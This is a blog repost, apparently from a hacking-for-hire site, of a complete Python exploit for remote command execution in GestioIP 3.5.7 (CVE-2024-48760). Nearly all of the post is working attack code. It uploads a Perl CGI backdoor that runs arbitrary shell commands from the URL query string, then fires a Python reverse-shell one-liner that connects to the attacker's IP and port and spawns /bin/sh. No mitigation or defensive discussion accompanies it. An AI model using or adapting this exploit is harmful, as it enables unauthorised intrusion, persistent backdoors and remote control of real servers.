Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863535162

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GestioIP 3.5.7 - Remote Command Execution (RCE)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email (max.cybersecurity at belino.com)
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-48760
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-48760

import requests
import sys

# Config
username = "gipadmin"
password = "PASSWORD"
domain = "localhost"
local_ip = "10.20.0.1"
local_port = 443
target_url = f"http://{domain}/gestioip/api/upload.cgi"

# CGI Backdoor Perl
backdoor_code = """#!/usr/bin/perl -w

use strict;

print "Cache-Control: no-cache\\n";
print "Content-type: text/html\\n\\n";

my $req = $ENV{QUERY_STRING};
chomp ($req);
$req =~ s/%20/ /g; 
$req =~ s/%3b/;/g;
$req =~ s/%7c/|/gi;
$req =~ s/%27/'/g;
$req =~ s/%22/"/g;
$req =~ s/%5D/]/g;
$req =~ s/%5B/[/g;

print "<html><body>";
print '<!-- CGI backdoor -->';

if (!$req) {
    print "Usage: http://domain/gestioip/api/upload.cgi?whoami";
} else {
    print "Executing: $req";
}

print "<pre>";
my @cmd = `$req`;
print "</pre>";

foreach my $line (@cmd) {
    print $line . "<br/>";
}

print "</body></html>";
"""

# Exploit functions
def upload_file(session, file_name, file_data):
    """Uploads the file to the server"""
    files = {
        'file_name': (None, file_name),
        'leases_file': (file_name, file_data)
    }
    response = session.post(target_url, files=files)
    if "OK" not in response.text:
        print(f"[!] Error uploading {file_name}.")
        sys.exit(1)
    return response

def run_command(session, cmd):
    """Execute a command in the server through the vuln"""
    url = target_url + '?' + cmd
    resp = session.get(url)
    print(resp.text)

def backdoor_exists(session):
    """Verifies if backdoor is already uploaded or not"""
    response = session.get(target_url + "?whoami")
    if "www-data" in response.text:
        return True  # backdoor already uploaded
    return False  # backdoor not uploaded yet

if __name__ == '__main__':
    with requests.Session() as session:
        session.auth = (username, password)

        # Verify if backdoor is already uploaded
        if not backdoor_exists(session):
            print("\n[!] Uploading backdoor...\n")
            upload_file(session, 'upload.cgi', backdoor_code)
        else:
            print("\n[+] Backdoor already uploaded. Continue...\n")

        # Execute the reverse shell
        print("\n[!] Executing reverse shell...\n")
        reverse_shell_cmd = f'python3 -c "import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{local_ip}\', {local_port})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call([\'/bin/sh\', \'-i\']);"'
        run_command(session, reverse_shell_cmd)